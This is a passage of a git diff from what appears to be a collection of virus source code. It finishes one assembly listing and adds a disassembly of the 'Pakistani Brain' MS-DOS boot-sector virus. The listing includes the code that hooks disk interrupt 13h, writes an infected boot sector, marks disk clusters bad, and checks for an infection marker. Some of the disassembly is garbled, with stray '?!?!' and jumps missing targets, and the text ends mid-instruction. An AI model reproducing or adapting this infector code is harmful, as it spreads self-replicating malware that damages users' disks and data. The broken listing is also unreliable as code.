;0773 72F7 + ADD AX,1D1D ;0775 051D1D + PUSH AX ;0778 50 + INC Word Ptr [0497] ;0779 FF069704 + JNB L0780 ;077D 7301 + JMP 268B:E1E2 ;077F EAE2E18B26 + ; + XCHG AX,BP ;0784 95 + ADD AL,A1 ;0785 04A1 + XCHG AX,BX ;0787 93 + ADD AL,8E ;0788 048E + SAR BL,1 ;078A D0FB + ADD DH,[BP+SI] ;078C 0232 + CLC ;078E F8 + RET ;078F C3 + ; +;-----------------------------------------------------------------------; +; READ ROOT, BOOT, FIRST FAT ; +;-----------------------------------------------------------------------; +READ_RBF: ;0790 + MOV Byte Ptr [0490],02 ;COMMAND = READ + JMP ROOT_BOOT_FAT ;DO IT + ; +;-----------------------------------------------------------------------; +; WRITE ROOT, BOOT, FIRST FAT ; +;-----------------------------------------------------------------------; +WRITE_RBF: ;0798 + MOV Byte Ptr [0490],03 ;COMMAND = WRITE + JMP ROOT_BOOT_FAT ;DO IT + ; +;-----------------------------------------------------------------------; +; READ OR WRITE ROOT, BOOT, FIRST FAT ; +;-----------------------------------------------------------------------; +ROOT_BOOT_FAT: ;07A0 + MOV DH,0 ;HEAD = 0 + MOV DL,[226H] ;DL = DRIVE + MOV CX,6 ;(TRACK 0/SECTOR 6) == ENTIRE ROOT DIR + MOV AH,[490H] ;AH = COMMAND + MOV AL,4 ;4 SECTORS + MOV BX,6BEH ;ES:BX = DTA + CALL RESET_DO_IT ;GO TO DISK + JB L07C9 ;IF ERROR...EXIT + ; + MOV CX,1 ;(TRACK 0/SECTOR 1) == BOOT & FAT1 + MOV DH,1 ;HEAD 1 + MOV AH,[490H] ;AH = COMMAND + MOV AL,3 ;3 SECTORS + ADD BX,800H ;ES:BX = DTA + CALL RESET_DO_IT ;GO TO DISK +L07C9: RET ; + ; +;-----------------------------------------------------------------------; +; RESET DRIVE BEFORE DOING SPECIFIED FUNCTION ; +;-----------------------------------------------------------------------; +RESET_DO_IT: ;07CA + MOV [0493],AX ; + MOV [0495],BX ;SAVE REGs + MOV [0497],CX ; + MOV [0499],DX ; + MOV CX,0004 ;RETRY COUNT = 4 + ; +RDI_10: PUSH CX ; + MOV AH,00 ;REST DRIVE + INT 6D ; + JB RDI_80 ;IF ERROR...RETRY + MOV AX,[0493] ;RESTORE REGs + MOV BX,[0495] ; + MOV CX,[0497] ; + MOV DX,[0499] ; + INT 6D ;DO SPECIFIED FUNCTION + JNB RDI_90 ;IF NO ERROR...EXIT +RDI_80: POP CX ; + LOOP RDI_10 ;RETRY + STC ;RETURN ERROR + RET ; + ; +RDI_90: POP CX ;RETURN NO ERROR + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + ADD [BX+SI],AL ;07FD 0000 + ADD [BP+DI],AL ;07FF 0003 + ADD [BX+DI],AL ;0801 0001 + +L0804: ?!?! + + + + + ADD BP,AX ;0803 03E8 + DEC CX ;0805 49 + STD ;0806 FD + JB ;085D ;0807 7254 + ; + MOV Word Ptr [000A],0001 ; + MOV Byte Ptr [0009],00 ; + MOV BX,06BE ;ES:BX = DTA ? + CALL READ_SECTORS ; + ; + MOV BX,06BE ;BX = DTA + MOV AX,[0007] ;GET SECTOR TRACK + MOV [000A],AX ;SAVE SECTOR/TRACK + MOV AH,[0006] ;GET HEAD + MOV [0009],AH ;SAVE HEAD + CALL WRITE_SECTORS ;WRITE SECTOR(S) + CALL NEXT_SECTOR ;POINT TO NEXT + ; + MOV CX,0005 ;CX = ??? + MOV BX,0200 ;BX = DTA +L0837: MOV [0600],CX ;SAVE ??? + CALL WRITE_SECTORS ;WRITE SECTOR(S) + CALL NEXT_SECTOR ;POINT TO NEXT + ADD BX,512 ;DTA += 512 + MOV CX,[0600] ;??? + LOOP L0837 ;LOOP 5 TIMES ??? + ; + MOV Byte Ptr [0009],00 ;HEAD = 0 + MOV Word Ptr [000A],0001 ;TRACK/SECTOR = 0/1 + MOV BX,0000 ;DTA = INFECTED BOOT SECTOR + CALL WRITE_SECTORS ;WRITE INFECTED BOOT SECTOR + CLC ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +READ_SECTORS: ;085E + MOV Word Ptr [0602H],0201H ;READ CMD/1 SECTOR + JMP DO_SECTORS ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +WRITE_SECTORS: ;0867 + MOV Word Ptr [0602H],0301H ;WRITE CMD/1 SECTOR + JMP DO_SECTORS ; + ; +;-----------------------------------------------------------------------; +; READ OR WRITE SOME SECTORS WITH A RETRY COUNT OF 4 ; +; ; +; ON ENTRY: DS:[601H] = COMMAND ; +; DS:[602H] = SECTOR COUNT ; +; DS:[226H] = DRIVE ; +; DS:[0009] = HEAD ; +; DS:[000A] = SECTOR ; +; DS:[000B] = TRACK ; +;-----------------------------------------------------------------------; +DO_SECTORS: ;0870 + PUSH BX ; + MOV CX,4 ;RETRY COUNT = 4 + ; +D1S_10: PUSH CX ; + MOV DH,[9] ;HEAD = 9 + MOV DL,[226H] ;DRIVE + MOV CX,[10] ;TRACK/SECT + MOV AX,[602H] ;COMMAND/COUNT + INT 6DH ;(SAME AS INT 13) + JNB D1S_80 ; + ; + MOV AH,00 ;RESET + INT 6DH ;(SAME AS INT 13) + POP CX ; + LOOP D1S_10 ;TRY AGAIN + POP BX ; + POP BX ; + STC ;RETURN ERROR + RET ; + ; +D1S_80: POP CX ;0893 59 + POP BX ;0894 5B + RET ;0895 C3 + ; +;-----------------------------------------------------------------------; +; INC. NEXT SECTOR ; +; ON ENTRY: DS:[0009] = HEAD ; +; DS:[000A] = SECTOR ; +; DS:[000B] = TRACK ; +;-----------------------------------------------------------------------; +NEXT_SECTOR: ;0896 + INC Byte Ptr [10] ;SECTOR + CMP Byte Ptr [10],10 ; + JNZ NS_90 ; + MOV Byte Ptr [10],1 ; + INC Byte Ptr [9] ;HEAD + CMP Byte Ptr [9],2 ; + JNZ NS_90 ; + MOV Byte Ptr [9],0 ; + INC Byte Ptr [11] ;TRACK +NS_90: RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + DB 64 ;08BB 'dtk' + JZ ;091F ; + ; +;---------------------------------------; + JMP CONTINUE_4 ;08FA + ; + DB 'IBM X3.2' ;OEM NAME AND VERSION + ; + DW 512 ;BYTES PER SECTOR + DB 2 ;SECTORS PER ALLOCATION UNIT + DW 1 ;RESERVED SECTORS + DB 2 ;NUMBER OF FATS + DW 112 ;NUMBER OF ROOT DIR ENTRIES + DW 2D0H ;SECTORS PER DISK + DB 0FDH ;MEDIA ID + DW 2 ;SECTORS PER FAT + DW 9 ;SECTORS PER TRACK + DW 2 ;NUMBER OF HEADS + DW 0 ;HIDDEN SECTORS + ; +;---------------------------------------; + DB 0,0 + DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0 + + DB 002H,0DFH + DB 002H,025H,002H,012H + DB 02AH,0FFH,050H,0F6H + DB 000H,002H, + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + INT 19H ;REBOOT + ; +L08FA: CLI ;08FA FA + XOR AX,AX ;08FB 33C0 + MOV ES,AX ;08FD 8EC0 + MOV SS,AX ;08FF 8ED0 + MOV SP,7C00 ;0901 BC007C + MOV DS,AX ;0904 8ED8 + MOV BX,07C0 ;0906 BBC007 + MOV Word Ptr [0078],002F ;0909 C70678002F00 + MOV [007A],BX ;090F 891E7A00 + MOV DS,BX ;0913 8EDB + MOV DX,[001E] ;0915 8B161E00 + MOV [0020],DL ;0919 88162000 + INT 13 ;GO TO DISK + JNB ;0924 ;091F 7303 + JMP ;09FC ;0921 E9D800 + MOV SI,000B ;0924 BE0B00 + MOV CX,[SI] ;0927 8B0C + SHR CH,1 ;0929 D0ED + XCHG CH,CL ;092B 86E9 + MOV [002B],CX ;092D 890E2B00 + MOV AL,[SI+05] ;0931 8A4405 + XOR AH,AH ;0934 32E4 + MUL Word Ptr [SI+0B] ;0936 F7640B + ADD AX,[SI+03] ;0939 034403 + ADD AX,[SI+11] ;093C 034411 + MOV [0024],AX ;093F A32400 + MOV BX,7E00 ;0942 BB007E + CALL 0A24 ;0945 E8DC00 + MOV BX,ES ;0948 8CC3 + MOV AX,0070 ;094A B87000 + MOV ES,AX ;094D 8EC0 + MOV AX,0020 ;094F B82000 + MUL Word Ptr [SI+06] ;0952 F76406 + MOV CX,[SI] ;0955 8B0C + ADD AX,CX ;0957 03C1 + DEC AX ;0959 48 + DIV CX ;095A F7F1 + ADD [0024],AX ;095C 01062400 + MOV CL,[002A] ;0960 8A0E2A00 + MOV AX,[0024] ;0964 A12400 + CALL ;0971 ;0967 E80700 + PUSH ES ;096A 06 + POP DS ;096B 1F + JMP 0070:0000 ;096C EA00007000 + ; +;HEAVY NUMBER CRUNCHING HERE ; + PUSH BX ;0971 53 + PUSH AX ;0972 50 + MOV AL,CL ;0973 8AC1 + MUL Byte Ptr [002B] ;0975 F6262B00 + MOV [0029],AL ;0979 A22900 + POP AX ;097C 58 + MUL Word Ptr [002B] ;097D F7262B00 + DIV Word Ptr [SI+0D] ;0981 F7740D + INC DL ;0984 FEC2 + MOV [0028],DL ;0986 88162800 + PUSH DX ;098A 52 + XOR DX,DX ;098B 33D2 + DIV Word Ptr [SI+0F] ;098D F7740F + MOV [0021],DL ;0990 88162100 + MOV [0026],AX ;0994 A32600 + POP DX ;0997 5A + MOV CL,[0029] ;0998 8A0E2900 + ADD DL,CL ;099C 02D1 + MOV AX,[SI+0D] ;099E 8B440D + INC AX ;09A1 40 + CMP DL,AL ;09A2 3AD0 + JBE ;09AC ;09A4 7606 + SUB AL,[0028] ;09A6 2A062800 + MOV CL,AL ;09AA 8AC8 + MOV AL,CL ;09AC 8AC1 + MOV DX,[0026] ;09AE 8B162600 + MOV CL,06 ;09B2 B106 + SHL DH,CL ;09B4 D2E6 + OR DH,[0028] ;09B6 0A362800 + MOV CX,DX ;09BA 8BCA + XCHG CH,CL ;09BC 86E9 + MOV DX,[0020] ;09BE 8B162000 + MOV AH,02 ;READ SECTOR + PUSH AX ; + INT 13 ; + POP AX ;09C7 58 + JB ;09FC ;09C8 7232 + SUB [0029],AL ;09CA 28062900 + JBE ;09F5 ;09CE 7625 + CBW ;09D0 98 + MUL Word Ptr [002D] ;09D1 F7262D00 + ADD BX,AX ;09D5 03D8 + INC Byte Ptr [0021] ;09D7 FE062100 + MOV DL,[0021] ;09DB 8A162100 + CMP DL,[SI+0F] ;09DF 3A540F + MOV DL,01 ;09E2 B201 + MOV [0028],DL ;09E4 88162800 + JB ;0998 ;09E8 72AE + MOV Byte Ptr [0021],00 ;09EA C606210000 + INC Word Ptr [0026] ;09EF FF062600 + JMP ;0998 ;09F3 EBA3 + POP BX ;09F5 5B + RET ;09F6 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + MOV SI,01B3 ;09F7 BEB301 + JMP ;09FF ;09FA EB03 + MOV SI,01C5 ;09FC BEC501 + CALL L0A15 ;09FF E81300 + MOV SI,01D4 ;0A02 BED401 + CALL L0A15 ;0A05 E80D00 + MOV AH,00 ;0A08 B400 + INT 16 ;0A0A CD16 + MOV AH,01 ;0A0C B401 + INT 16 ;0A0E CD16 + JNZ 0A0C ;0A10 75FA + JMP ;08F8 ;0A12 E9E3FE + ; +L0A15: LODSB ;L0A15 + OR AL,AL ;0A16 0AC0 + JZ 0A23 ;0A18 7409 + MOV AH,0E ;0A1A B40E + MOV BX,0007 ;0A1C BB0700 + INT 10 ;0A1F CD10 + JMP L0A15 ;0A21 EBF2 + RET ;0A23 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + + MOV CL,01 ;0A24 B101 + CALL ;0971 ;0A26 E848FF + PUSH SI ;0A29 56 + MOV DI,BX ;0A2A 8BFB + MOV AX,ES:[BX+1C] ;0A2C 268B471C + XOR DX,DX ;0A30 33D2 + DIV Word Ptr [SI] ;0A32 F734 + INC AL ;0A34 FEC0 + MOV [002A],AL ;0A36 A22A00 + MOV SI,019D ;0A39 BE9D01 + MOV CX,000B ;0A3C B90B00 + REPZ ;0A3F F3 + CMPSB ;0A40 A6 + JNZ ;09F7 ;0A41 75B4 + MOV AX,ES:[BX+3A] ;0A43 268B473A + MOV [0022],AX ;0A47 A32200 + MOV DI,BX ;0A4A 8BFB + ADD DI,+20 ;0A4C 83C720 + MOV SI,01A8 ;0A4F BEA801 + MOV CX,000B ;0A52 B90B00 + REPZ ;0A55 F3 + CMPSB ;0A56 A6 + JNZ ;09F7 ;0A57 759E + POP SI ;0A59 5E + RET ;0A5A C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CODE ENDS ; + END ; diff --git a/MSDOS/Virus.MSDOS.Unknown.pakbrain.lst b/MSDOS/Virus.MSDOS.Unknown.pakbrain.lst new file mode 100644 index 00000000..23392336 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pakbrain.lst @@ -0,0 +1,1102 @@ +;The "Pakistani Brain" + + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CODE SEGMENT PUBLIC 'CODE' ; + ASSUME CS:CODE,DS:CODE,ES:CODE,SS:NOTHING + ; + ORG 0 ; + ; +BPB EQU 3+8 ;JMP + OEM_NAME + ; +;-----------------------------------------------------------------------; +; COPY OF BOOT SECTOR ; +;-----------------------------------------------------------------------; + ; + DB 6 DUP (?) ; + ; +L0006 DB ? ;HEAD +L0007 DB ? ;SECTOR +L0008 DB ? ;TRACK + ; +L0009 DB ? ;HEAD +L000A DB ? ;SECTOR +L000B DB ? ;TRACK + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + ; + ORG 512 ; + ; +;-----------------------------------------------------------------------; +; (BOOT SECTOR TYPE FORMAT!) ; +;-----------------------------------------------------------------------; +CONTINUE: JMP CONTINUE_2 ;023C + ; +L0203 DB 'IBM X3.2' ;OEM NAME AND VERSION + ; + DW 512 ;BYTES PER SECTOR + DB 2 ;SECTORS PER ALLOCATION UNIT + DW 1 ;RESERVED SECTORS +L0210 DB 2 ;NUMBER OF FATS + DW 112 ;NUMBER OF ROOT DIR ENTRIES + DW 2D0H ;SECTORS PER DISK + DB 0FDH ;MEDIA ID + DW 2 ;SECTORS PER FAT + DW 9 ;SECTORS PER TRACK + DW 2 ;NUMBER OF HEADS + DW 0 ;HIDDEN SECTORS + ; +;---------------------------------------; + DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 + + DB 2 +DISK_PARM DB 0DFH,2,25H,2,12H,2AH,0FFH,50H,0F6H,0,2 + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +REBOOT: INT 19H ;REBOOT + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CONTINUE_2: ; + CLI ; + XOR AX,AX ; + MOV ES,AX ;ES=0 + MOV SS,AX ;SS:SP = 0000:7C00 + MOV SP,7C00H ; + MOV DS,AX ; + MOV BX,07C0H ;INITIALIZE DISK POINTER (INT 1E) + MOV Word Ptr [78H],2FH ;0000:0078 = (DWORD) 07C0:002F + MOV [7AH],BX ; + ; + MOV DS,BX ;DS = 07C0 + MOV DX,[1EH] ;GET DRIVE/HEAD ;BOOT:001E ! + MOV [20H],DL ;SAVE DRIVE ;BOOT:0020 ! + INT 13H ;RESET + JNB C_10 ; + JMP ERROR_2 ;IF ERROR...'BOOT FAILURE' + ; +C_10: MOV SI,BPB ;SI = BPB ;BOOT:000B + MOV CX,[SI] ;CX = BYTES PER SECTOR + SHR CH,1 ;WORDS PER SECTOR + XCHG CH,CL ; + MOV [2BH],CX ;SAVE ;BOOT:002B + MOV AL,[SI+5] ;AL= NUMBER OF FATS ;BOOT:0010 + XOR AH,AH ; + MUL Word Ptr [SI+0BH] ;TOTAL FAT SECTORS ;BOOT:0016 + ADD AX,[SI+3] ;+RESERVED SECTORS ;BOOT:000E + ADD AX,[SI+11H] ;+HIDDEN SECTORS ;BOOT:001C + MOV [24H],AX ;SAVE IT ;BOOT:0024 + MOV BX,7E00H ; + CALL UI ; + ; + MOV BX,ES ;SAVE ES + MOV AX,70H ;ES=0070H + MOV ES,AX ; + MOV AX,32 ;32* + MUL Word Ptr [SI+6] ; ROOT DIR ENTRIES+ + MOV CX,[SI] ; + ADD AX,CX ; BYTES/SECTOR + DEC AX ; -1 + DIV CX ; /BYTES/SECTOR + ADD [24H],AX ;ADD TO BYTES IN BOOT & FAT + ; + MOV CL,[2AH] ; + MOV AX,[24H] ; + CALL READ_CLUSTER ;(READ BOOT SECTOR ???) + ; + PUSH ES ; + POP DS ; + JMP 0070H:0000H ;(PASS CONTROL TO ???) + ; +;-----------------------------------------------------------------------; +; HEAVY CRUNCHING HERE (CLUSTER READS ?!?!?!) ; +; ON ENTRY: AX = ? +; ES:BX = DTA ; +; CL = ? ; +; DS:SI = BPB ; +; DS:[0021] = ; +;-----------------------------------------------------------------------; +READ_CLUSTER: ;02B3 + PUSH BX ; + PUSH AX ; + ; + MOV AL,CL ; + MUL Byte Ptr [2BH] ; + MOV [29H],AL ; + POP AX ; + MUL Word Ptr [2BH] ; + DIV Word Ptr [SI+0DH] ;(BPB.SECTORS PER TRACK) + INC DL ; + MOV [28H],DL ; + PUSH DX ; + XOR DX,DX ; + DIV Word Ptr [SI+0FH] ;(BPB.NUMBER OF HEADS) + MOV [21H],DL ; + MOV [26H],AX ; + POP DX ; +RC_10: MOV CL,[29H] ; + ADD DL,CL ; + MOV AX,[SI+0DH] ;(BPB.SECTORS PER TRACK) + INC AX ; + CMP DL,AL ; + JBE RC_20 ; + SUB AL,[28H] ; + MOV CL,AL ; +RC_20: MOV AL,CL ; + MOV DX,[26H] ; + MOV CL,6 ; + SHL DH,CL ; + OR DH,[28H] ; + MOV CX,DX ; + XCHG CH,CL ; + MOV DX,[20H] ; + ; + MOV AH,2 ;READ SECTOR + PUSH AX ; + INT 13H ; + POP AX ; + JB ERROR_2 ;IF ERROR...'BOOT FAILURE' + SUB [29H],AL ; + JBE RC_90 ; + CBW ; + MUL Word Ptr [2DH] ; + ADD BX,AX ; + INC Byte Ptr [21H] ; + MOV DL,[21H] ; + CMP DL,[SI+0FH] ; + MOV DL,1 ; + MOV [28H],DL ; + JB RC_10 ; + MOV Byte Ptr [21H],0 ; + INC Word Ptr [26H] ; + JMP RC_10 ; + ; +RC_90: POP BX ; + RET ; + ; +;-----------------------------------------------------------------------; +; PRINT BOOT ERROR MESSAGE AND WAIT FOR A KEY ; +;-----------------------------------------------------------------------; +ERROR_1: ;0339 + MOV SI,01B3H ;'Non-System disk' + JMP E_10 ; + ; +;---------------------------------------; +ERROR_2: ; + MOV SI,01C5H ;'BOOT failure' +E_10: CALL DISPLAY_STRING ; + ; + MOV SI,01D4H ;'Replace and press any key when ready' + CALL DISPLAY_STRING ; + ; + MOV AH,0 ;WAIT FOR A KEY + INT 16H ; +E_20: MOV AH,1 ; THROW IT AWAY AND + INT 16H ; WAIT FOR ANOTHER ONE BUT + JNZ E_20 ; DONT GET IT + JMP REBOOT ; + ; +;-----------------------------------------------------------------------; +; DISPLAY ASCIIZ STRING ; +; ON ENTRY: DS:SI = ASCIIZ STRING ; +;-----------------------------------------------------------------------; +DISPLAY_STRING: ;0357 +DS_00: LODSB ;DISPLAY UNTIL NULL + OR AL,AL ; + JZ DS_90 ; + MOV AH,0EH ; + MOV BX,7 ; + INT 10 ; + JMP DS_00 ; +DS_90: RET ;0365 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +UI: ;0366: + MOV CL,01 ; + CALL READ_CLUSTER ; + ; + PUSH SI ; + MOV DI,BX ; + MOV AX,ES:[BX+1C] ; + XOR DX,DX ; + DIV Word Ptr [SI] ; + INC AL ; + MOV [002A],AL ; + MOV SI,019D ; + MOV CX,000B ; + REPZ ; + CMPSB ; + JNZ ERROR_1 ;'NON SYSTEM DISK' + MOV AX,ES:[BX+3A] ; + MOV [0022],AX ; + MOV DI,BX ; + ADD DI,+20 ; + MOV SI,01A8 ; + MOV CX,000B ; + REPZ ; + CMPSB ; + JNZ ERROR_1 ;'NON SYSTEM DISK' + POP SI ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L039D DB 'IBMBIO COM' + DB 'IBMDOS COM' + DB CR,LF,'Non-System disk',0 + DB CR,LF,'BOOT failure',0 + DB CR,LF,'Replace and press any key when ready',0 + DB 90H,90H,90H,55H,0AAH + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0400: JMP SHORT CONT_A ; + ; + DB '(c) 1986 Basit & Amjads (pvt) Ltd ',0 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CONT_A: ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0A5B DB 'IBMBIO COM' + DB 'IBMDOS COM' + DB CR,LF,'Non-System disk',0 + DB CR,LF,'BOOT failure',0 + DB CR,LF,'Replace and press any key when ready',0 + DB 90H,90H,90H,55H,0AAH + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + ADD AL,00 ;0425 0400 + ADD [06C6],CH ;0427 002EC606 + AND AX,1F02 ;042B 25021F + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +REDIRECT_13: ;042E + XOR AX,AX ;GET INT 13 VECTOR + MOV DS,AX ; + MOV AX,[004CH] ; + MOV [01B4H],AX ; (SAVE IT TO INT 6D VECTOR) + MOV AX,[004EH] ; + MOV [01B6H],AX ; + MOV AX,0276H ;SET INT 13 VECTOR + MOV [004CH],AX ; + MOV AX,CS ; + MOV [004EH],AX ; + ; + MOV CX,0004 ;RETRY = 4 + XOR AX,AX ; + MOV ES,AX ; +L0450: PUSH CX ; + MOV DH,CS:[0006] ;DH = HEAD + MOV DL,00 ;DRIVE A: + MOV CX,CS:[0007] ;CX = TRACK/SECTOR + MOV AX,0201 ;READ 1 SECTOR + MOV BX,7C00 ;ES:BX == DTA = 0000:7C00 + INT 6DH ; + JNB L0470 ; + MOV AH,00 ;RESET + INT 6DH ; + POP CX ;TRY AGAIN + LOOP L0450 ; + INT 18H ;LOAD BASIC + ; +L0470: JMP 0000:7C00 ;JUMP TO BOOT LOADER ?!?! + ; + NOP ;0475 90 + STI ;0476 FB + CMP AH,02 ;0477 80FC02 + JNZ L0494 ;047A 7518 + CMP DL,02 ;047C 80FA02 + JA L0494 ;047F 7713 + CMP CH,00 ;0481 80FD00 + JNZ L048B ;0484 7505 + CMP DH,00 ;0486 80FE00 + JZ L0497 ;0489 740C +L048B: DEC Byte Ptr CS:[0225] ;048B 2EFE0E2502 + JNZ L0494 ;0490 7502 + JMP L0497 ;0492 EB03 +L0494: JMP L053C ;0494 E9A500 +L0497: MOV Byte Ptr CS:[0227],00 ;0497 2EC606270200 + MOV Byte Ptr CS:[0225],04 ;049D 2EC606250204 + PUSH AX ;04A3 50 + PUSH BX ;04A4 53 + PUSH CX ;04A5 51 + PUSH DX ;04A6 52 + MOV CS:[0226],DL ;04A7 2E88162602 + MOV CX,0004 ;04AC B90400 + PUSH CX ;04AF 51 + MOV AH,00 ;04B0 B400 + INT 6D ;04B2 CD6D + JB ;04CB ;04B4 7215 + MOV DH,00 ;04B6 B600 + MOV CX,0001 ;04B8 B90100 + MOV BX,06BE ;04BB BBBE06 + PUSH ES ;04BE 06 + MOV AX,CS ;04BF 8CC8 + MOV ES,AX ;04C1 8EC0 + MOV AX,0201 ;04C3 B80102 + INT 6D ;04C6 CD6D + POP ES ;04C8 07 + JNB ;04D1 ;04C9 7306 + POP CX ;04CB 59 + LOOP ;04AF ;04CC E2E1 + JMP ;04FF ;04CE EB2F + NOP ;04D0 90 + POP CX ;04D1 59 + MOV AX,CS:[06C2] ;04D2 2EA1C206 + CMP AX,1234 ;04D6 3D3412 + JNZ ;04E3 ;04D9 7508 + MOV Byte Ptr CS:[0227],01 ;04DB 2EC606270201 + JMP ;0503 ;04E1 EB20 + PUSH DS ;04E3 1E + PUSH ES ;04E4 06 + MOV AX,CS ;04E5 8CC8 + MOV DS,AX ;04E7 8ED8 + MOV ES,AX ;04E9 8EC0 + PUSH SI ;04EB 56 + CALL L0804 ;04EC E81503 + JB ;04FA ;04EF 7209 + MOV Byte Ptr CS:[0227],02 ;04F1 2EC606270202 + CALL L06B2 ;04F7 E8B801 + POP SI ;04FA 5E + POP ES ;04FB 07 + POP DS ;04FC 1F + JNB ;0503 ;04FD 7304 + MOV AH,00 ;04FF B400 + INT 6D ;0501 CD6D + POP DX ;0503 5A + POP CX ;0504 59 + POP BX ;0505 5B + POP AX ;0506 58 + CMP CX,+01 ;0507 83F901 + JNZ L053C ;050A 7530 + CMP DH,00 ;050C 80FE00 + JNZ L053C ;050F 752B + CMP Byte Ptr CS:[0227],01 ;0511 2E803E270201 + JNZ ;052A ;0517 7511 + MOV CX,CS:[06C5] ;0519 2E8B0EC506 + MOV DX,CS:[06C3] ;051E 2E8B16C306 + MOV DL,CS:[0226] ;0523 2E8A162602 + JMP L053C ;0528 EB12 + CMP Byte Ptr CS:[0227],02 ;052A 2E803E270202 + JNZ L053C ;0530 750A + ; + MOV CX,CS:[0007] ;CX = TRACK/SECTOR + MOV DH,CS:[0006] ;DH = HEAD +L053C: INT 6DH ; + RETF 2 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0541 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0550: JMP CONTINUE_3 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0553 DW 3 ; + DB ' (c) 1986 Basit & Amjads (pvt) Ltd' + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CONTINUE_3: ;0577 + CALL READ_VERIFY ;READ VERIFY + MOV AX,[06BEH] ;IF ??? == DOUBLD SIDED 9 SECTORS... + CMP AX,0FFFDH ; + JE L0586 ;...CONTINUE + MOV AL,3 ;ELSE RETURN ??? ERROR + STC ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +L0586: ;0586 + MOV CX,0037 ; + MOV Word Ptr [0353],0000 ; + CALL ;05F8 ;058F E86600 + CMP AX,0000 ;0592 3D0000 + JNZ ;05A5 ;0595 750E + INC Word Ptr [0353] ;0597 FF065303 + CMP Word Ptr [0353],+03 ;059B 833E530303 + JNZ ;05AB ;05A0 7509 + JMP ;05B6 ;05A2 EB12 + NOP ;05A4 90 + MOV Word Ptr [0353],0000 ;05A5 C70653030000 + INC CX ;05AB 41 + CMP CX,0163 ;05AC 81F96301 + JNZ ;058F ;05B0 75DD + MOV AL,01 ;05B2 B001 + STC ;05B4 F9 + RET ;05B5 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + MOV DL,03 ;05B6 B203 + CALL ;05CB ;05B8 E81000 + DEC CX ;05BB 49 + DEC DL ;05BC FECA + JNZ ;05B8 ;05BE 75F8 + INC CX ;05C0 41 + CALL CONVERT_1 ;CLUSTER TO TRACK/SECTOR/HEAD + CALL ;062D ;05C4 E86600 + MOV AL,00 ;05C7 B000 + CLC ;05C9 F8 + RET ;05CA C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + PUSH CX ;05CB 51 + PUSH DX ;05CC 52 + MOV SI,06BE ;05CD BEBE06 + MOV AL,CL ;05D0 8AC1 + SHR AL,1 ;05D2 D0E8 + JB ;05E4 ;05D4 720E + CALL FUNCTION_1 ;BX = (CX*3)/2 + MOV AX,[BX+SI] ;05D9 8B00 + AND AX,F000 ;05DB 2500F0 + OR AX,0FF7 ;05DE 0DF70F + JMP ;05EF ;05E1 EB0C + NOP ;05E3 90 + CALL FUNCTION_1 ;BX = (CX*3)/2 + MOV AX,[BX+SI] ;05E7 8B00 + AND AX,000F ;05E9 250F00 + OR AX,FF70 ;05EC 0D70FF + MOV [BX+SI],AX ;05EF 8900 + MOV [BX+SI+0400],AX ;05F1 89800004 + POP DX ;05F5 5A + POP CX ;05F6 59 + RET ;05F7 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + PUSH CX ;05F8 51 + MOV SI,06BE ;05F9 BEBE06 + MOV AL,CL ;05FC 8AC1 + SHR AL,1 ;05FE D0E8 + JB L060D ;0600 720B + CALL FUNCTION_1 ;BX = (CX*3)/2 + MOV AX,[BX+SI] ;0605 8B00 + AND AX,0FFF ;0607 25FF0F + JMP L0619 ;060A EB0D + ; +L060D: CALL FUNCTION_1 ;BX = (CX*3)/2 + MOV AX,[BX+SI] ;0610 8B00 + AND AX,FFF0 ;0612 25F0FF + MOV CL,04 ;0615 B104 + SHR AX,CL ;0617 D3E8 +L0619: POP CX ;0619 59 + RET ;061A C3 + ; +;-----------------------------------------------------------------------; +; BX = (CX*3)/2 ; +;-----------------------------------------------------------------------; +FUNCTION_1: ;061B + PUSH DX ; + MOV AX,3 ; + MUL CX ; + SHR AX,1 ; + MOV BX,AX ; + POP DX ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +READ_VERIFY: ;0627 + MOV AH,2 ; + CALL VERIFY_SECTORS ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +WRITE_VERIFY: ;062D + MOV AH,03 ; + CALL VERIFY_SECTORS ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +VERIFY_SECTORS: ;0633 + MOV CX,4 ;RETRY = 4 +L0636: PUSH CX ; + PUSH AX ; + MOV 